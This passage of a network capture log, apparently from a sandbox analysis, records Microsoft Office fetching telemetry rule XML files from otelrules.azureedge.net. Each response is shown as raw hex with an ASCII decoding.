2024-12-03 14:32:09 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.9	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:08 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:09 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 969f6466-401e-0029-7d40-409b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143209Z-174f7845968j6t2phC1EWRcfe8000000166000000000f2df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:09 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.9	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:08 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2c78b3d6-001e-0017-21e0-430c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143209Z-174f78459688l8rvhC1EWRtzr00000000krg0000000044g1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.9	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:08 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:09 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143209Z-174f78459688l8rvhC1EWRtzr00000000krg0000000044ge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:09 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.9	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:11 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e8c785f0-901e-0048-4ed4-43b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143211Z-174f7845968j6t2phC1EWRcfe8000000163000000000mt07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.9	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:11 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:11 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f20189e0-201e-005d-0f7c-43afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143211Z-174f7845968pght8hC1EWRyvxg000000094g00000000h2hv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:11 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.9	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:11 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 03f3685a-b01e-0097-2663-444f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143211Z-174f7845968zgtf6hC1EWRqd8s0000000yz000000000ftx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.9	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:11 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e1e1876a-701e-0001-22c7-43b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143211Z-174f7845968xlwnmhC1EWR0sv800000015vg00000000dumv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.9	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:11 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:11 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 8361aa46-901e-008f-73ef-4467a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143211Z-174f7845968psccphC1EWRuz9s00000016d0000000002an4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:11 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.9	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:13 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 957c193a-901e-008f-36b3-4267a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143213Z-174f7845968vqt9xhC1EWRgten000000160g00000000k6mf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.9	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:13 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 54795c3a-901e-0064-35fd-44e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143213Z-174f7845968cs2nkhC1EWR2tq000000001v000000000138g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.9	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:13 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:13 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 9f28f116-c01e-008d-51c7-432eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143213Z-174f7845968cdxdrhC1EWRg0en00000015zg00000000ezv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.9	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:13 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
